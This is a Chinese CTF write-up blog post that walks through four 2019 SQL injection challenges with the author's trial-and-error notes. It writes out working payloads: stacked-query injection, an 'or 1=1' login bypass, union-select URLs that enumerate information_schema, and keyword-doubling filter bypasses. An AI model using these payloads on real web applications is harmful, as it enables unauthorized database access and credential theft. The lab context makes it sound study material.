[强网杯 2019]随便注
乱试试出来闭合是',用or 1=1好像没有,试了下可以用堆叠注入,select等语句被过滤,用show databases;查出一堆表名
avatar

show tables;(好臭的表)

avatar

1';desc 1919810931114514;查出有flag这个列

看到另外一张表words的结构为

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

盲猜这个words表,就是我们看到的这个界面的表

思路是吧flag的名字改成words,并把flag列也改成id,再用or 1=1 爆出,但是不知道为什么我试的时候一直报错,用网上的payload也一样,很迷

[SUCTF 2019]EasySQL

对堆叠注入有反应1;show databases;获取库ctf,在show tables获取表flag,但是他把flag给过滤掉了,没法直接select 读出,直接打没被拦截但是也同样什么信息都没有得到

然后就卡住了

看了下wp,fuzz跑出来没有过滤|,这个运算我没有直接查到是什么意思,但是在mysql里面试了下,发现跟别的,例如1|id,这样是可行的(但是对数值可能有影响),但是不能够使用*|id

MariaDB [db1]> desc class;
FieldTypeNullKeyDefaultExtra
cnoint(10)YES NULL
cnamevarchar(20)YES NULL

2 rows in set (0.00 sec)

MariaDB [db1]>

MariaDB [db1]> select * from class;
cnocname
71信息论
75离散数学
79JAVA
81C++
84数论

5 rows in set (0.00 sec)

MariaDB [db1]> select 1 from class;
1
1
1
1
1
1

5 rows in set (0.00 sec)

MariaDB [db1]> select 1cno from class;
1cno
71
75
79
81
85

5 rows in set (0.00 sec)

MariaDB [db1]> show columns from class;
FieldTypeNullKeyDefaultExtra
cnoint(10)YES NULL
cnamevarchar(20)YES NULL

2 rows in set (0.00 sec)

MariaDB [db1]> select *| from class;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '| from class' at line 1

MariaDB [db1]> select cnamecno from class;
cnamecno
71
75
79
81
84

5 rows in set, 5 warnings (0.00 sec)

MariaDB [db1]> select 1cname from class;
1cname
1
1
1
1
1

5 rows in set, 5 warnings (0.00 sec)

然后这人就猜测语句可能是sql = "select $_POST['query'] | col_xx from tab"

然后直接输入*,1就出来了...

[极客大挑战 2019]LoveSQL
?username=1%27or%201=1--+;&password=1万能密码进入,得到了
Hello admin!

Your password is '81c030327a85b46a0487d3b25ea43239'

试了下这个并不是flag(哪有那么简单),看了下bp也没有抓到什么东西,那就继续老老实实的注入

用order by测出一共有三个列,估计可能就放在第三个没有显示出来的那一列

select username,password from table where username='',password='';
select username,password from table where username=''--+;',password='';

?username=-1%27%20union%20select%201,2,database()--+;&password=1显示这个表显示出的是二三列,且库名geek

?username=-1%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27geek%27--+;&password=1
得到表名geekuser

?username=-1%27%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=%27geek%27%20and%20table_name=%27geekuser%27%20limit%202,1--+;&password=1
获取列名id,username,password

感觉不对劲,返回表名那一步,limit1,1获取另外一个表l0ve1ysq1,列名也是id,username,password

?username=-1%27%20union%20select%201,username,password%20from%20l0ve1ysq1%20limit%2010,1--+;&password=1然后后面就一个个看,里面一堆乱七八糟的玩意,扔bp里面爆破了,第十五行里面就是我们要的flag

[极客大挑战2019]babysql
一些关键词被过滤了,但是其实只要复写就能绕过

?username=1%27+oorrder+bbyy+3%3B--+测出有3列

?username=1%27+ununionion+seselectlect+1%2C2,database()%3B--+爆出库名geek

?username=1%27+ununionion+seselectlect+1%2C2,table_name+frfromom+infoorrmation_schema.tables+whwhereere+table_schema='geek'%3B--+这里是我糊涂了,我以为他屏蔽了information_schema,试了几次不行,后来才想起来屏蔽的是or....另外还有from也被过滤了但没在意

b4bsql,geekuser这里面有这两个表,我猜那玩意在b4bsql里面,然后有id,username,password三列

?username=1%27+ununionion+seselectlect+1%2Cusername,passwoorrd+frfromom+geek.b4bsql+limit+0,1%3B--+爆内容,果不其然又是奇奇怪怪的一堆,扔bp猜到第八个的时候出来了

标签: none

评论已关闭